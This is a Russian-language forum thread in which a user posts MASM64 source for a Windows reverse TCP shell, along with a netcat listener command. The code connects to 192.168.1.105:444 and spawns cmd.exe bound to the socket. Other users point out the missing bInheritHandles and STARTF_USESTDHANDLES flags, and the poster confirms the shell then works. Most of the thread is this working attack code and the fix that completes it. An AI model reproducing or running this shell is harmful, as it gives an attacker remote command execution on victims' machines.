MASM64 реверс tcp шелл - cmd не биндится на сокет

Тема в разделе "WASM.X64", создана пользователем Archimag, 26 янв 2022.

  1. Archimag

    Archimag New Member

    Публикаций:
    0
    Регистрация:
    9 дек 2020
    Сообщения:
    4
    Всем доброго времени суток, я пытаюсь написать код реверс шелла - самый стандартный вариант с связыванием cmd и сокета . Ошибок нет - сокет создается, конект на него проходит, cmd стартует -но в консоли нетката нет самого приглашения ОС:

    C:\Users\myuser\NETCAT>nc.exe -lvp 444
    listening on [any] 444 ... connect to [192.168.1.105] from DESKTOP-2E15R3U [192.168.1.105] 18433

    что сделано не так в коде?

    Код (ASM):
    1. ;ml64.exe reverse_tcp_MASM.asm /link /subsystem:console /entry:main /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.18362.0\um\x64" /defaultlib:kernel32.lib /defaultlib:WS2_32.lib
    2.  
    3. extrn CreateProcessA : proc
    4. extrn ExitProcess : proc
    5. extern WSAStartup : proc
    6. extern WSASocketA : proc
    7. extern connect : proc
    8.  
    9. PROCESS_INFORMATION    struct
    10.     hProcess          qword ?
    11.     hThread           qword ?
    12.     dwProcessId       dword ?
    13.     dwThreadId        dword ?
    14. PROCESS_INFORMATION    ends
    15.  
    16. STARTUPINFOA         struct
    17. cb                  qword     sizeof ( STARTUPINFOA )      
    18. lpReserved          qword     ?      
    19. lpDesktop           qword     ?      
    20. lpTitle             qword     ?      
    21. dwX                 dword     ?      
    22. dwY                 dword     ?      
    23. dwXSize             dword     ?      
    24. dwYSize             dword     ?      
    25. dwXCountChars       dword     ?      
    26. dwYCountChars       dword     ?      
    27. dwFillAttribute     dword     ?      
    28. dwFlags             dword     ?      
    29. wShowWindow         word      ?      
    30. cbReserved2         word      3 dup ( ? )
    31. lpReserved2         qword     ?      
    32. hStdInput           qword     ?      
    33. hStdOutput          qword     ?      
    34. hStdError           qword     ?      
    35. STARTUPINFOA         ends
    36.  
    37. .const
    38. NORMAL_PRIORITY_CLASS equ 020h
    39.  
    40. .data
    41. processInfo PROCESS_INFORMATION <>
    42. startupInfo STARTUPINFOA <>
    43. ;szProcName db "C:\Windows\System32\calc.exe", 00h
    44. szProcName db "C:\Windows\System32\cmd.exe", 00h
    45.  
    46. .code
    47.     main proc
    48.  
    49. ;--------------------------------------
    50. ;WSAStartup(514,&WSADATA))
    51.  
    52. and rsp,0FFFFFFFFFFFFFFF0h        
    53. sub rsp,20h              
    54. xor rdx,rdx
    55. mov dx,408h ;
    56. sub rsp,rdx
    57. lea rdx,[rsp]
    58. xor rcx,rcx
    59. sub rsp,88h
    60. mov cx,514
    61. call WSAStartup
    62. ;-------------------------------------------------------
    63. ;WSASocketA(2,1,6,0,0,0)
    64.  
    65. mov dword ptr [rsp+28h],0
    66. mov dword ptr [rsp+20h],0
    67. mov r9d,0                
    68. mov r8d,6                
    69. mov edx,1                
    70. mov ecx,2
    71. call WSASocketA
    72. mov r13,rax ;r13=SOCKET
    73. ;-------------------------------------------
    74. ;connect(SOCKET,(struct sockaddr *)&struct sockaddr_in,16)
    75.  
    76. and rsp,0FFFFFFFFFFFFFFF0h            
    77. sub rsp,28h                  
    78.  
    79. xor r8,r8
    80. push r8
    81. push r8
    82. mov [rsp], byte ptr 2
    83. mov [rsp+2],word ptr 0bc01h ;port 444
    84. mov [rsp+4],dword ptr 6901a8c0h ;192.168.1.105
    85. lea r12,[rsp]
    86. sub rsp,88
    87.  
    88. c:
    89.  
    90. mov rdx,r12                     ; struct <2, 0bb01h, 6801a8c0h>
    91. mov rcx,r13                     ; SOCKET
    92. mov r8b,10h                     ; 16 bytes
    93. call connect
    94. xor r8,r8
    95. cmp rax,r8
    96. jnz c
    97. ;-------------------------------------------  
    98. ;CreateProcessA
    99.  
    100. sub   RSP, 28h            
    101. and   RSP, 0FFFFFFFFFFFFFFF0h
    102.  
    103. lea rbx, startupInfo
    104. mov dword ptr [rbx],68h            
    105. mov qword ptr [rbx+50h],r13                    
    106. mov qword ptr [rbx+58h],r13                      
    107. mov qword ptr [rbx+60h],r13
    108.  
    109. lea rax, processInfo
    110.  
    111. push rax                    
    112. push rbx                    
    113. push 00h                                      
    114. push 00h                    
    115. push NORMAL_PRIORITY_CLASS  
    116. push 00h                    
    117. sub rsp, 20h
    118. mov r9, 00h
    119. mov r8, 00h
    120. mov rdx, 00h
    121. lea rcx, szProcName
    122. call CreateProcessA
    123.  
    124.  
    125. xor rcx, rcx
    126. call ExitProcess
    127.  
    128.     main endp
    129. end
     
  2. ormoulu

    ormoulu Well-Known Member

    Публикаций:
    0
    Регистрация:
    24 янв 2011
    Сообщения:
    1.208
    Код делает следующее: 1) создает и коннектит клиентский сокет 2) запускает cmd.
    Никуда транслировать никакое приглашение такой код не будет и не должен.
    Если я правильно понимаю что вы хотите, вам нужно создать пайп, перенаправить в него I/O от cmd, читать(писать) этот пайп и полученное отправлять по tcp.

    PS: топик для Beginners, в крайнем случае Win32.
    --- Сообщение объединено, 26 янв 2022 ---
    UPD: хотя я хз, может можно использовать хендл сокета сразу как пайп, позволяет ли это винда. Попробуйте bInheritHandles флаг выставить и не глушить родительский процесс.
    --- Сообщение объединено, 26 янв 2022 ---
    + STARTF_USESTDHANDLES
     
    Последнее редактирование: 26 янв 2022
  3. Archimag

    Archimag New Member

    Публикаций:
    0
    Регистрация:
    9 дек 2020
    Сообщения:
    4
    - думаю что да именно так это и должно работать. Я сделал программу на С++ которая делает тоже самое - и там как раз в

    hStdInput qword ?
    hStdOutput qword ?
    hStdError qword ?

    передается сокет. Собственно, я сделал по аналогии.

    насчет bInheritHandles + STARTF_USESTDHANDLES - спасибо, попробую.
     
  4. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.955
    А зачем думать и строить догадки как пользоваться апями венды?
    https://docs.microsoft.com/en-us/wi...sthreadsapi/ns-processthreadsapi-startupinfoa
     
  5. ormoulu

    ormoulu Well-Known Member

    Публикаций:
    0
    Регистрация:
    24 янв 2011
    Сообщения:
    1.208
    Сокеты в винде весьма странный фрукт, не факт что они дуплицируются/наследуются, а в новом процессе вполне могут отвалиться по той причине что WSAStartup не вызывалась.
    --- Сообщение объединено, 26 янв 2022 ---
    Я даже не удивлюсь, если такой подход работает по разному в зависимости от версии.
     
  6. M0rg0t

    M0rg0t Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 окт 2010
    Сообщения:
    1.574
    ormoulu, по идее же сокеты - обычные хендлы, или нет? Как там в ядре, не знаю, но так то можно работать с ними обычными WriteFile/ReadFile.
     
  7. Archimag

    Archimag New Member

    Публикаций:
    0
    Регистрация:
    9 дек 2020
    Сообщения:
    4
    спасибо большое, STARTF_USESTDHANDLES + bInheritHandles помогло.
     
    ormoulu нравится это.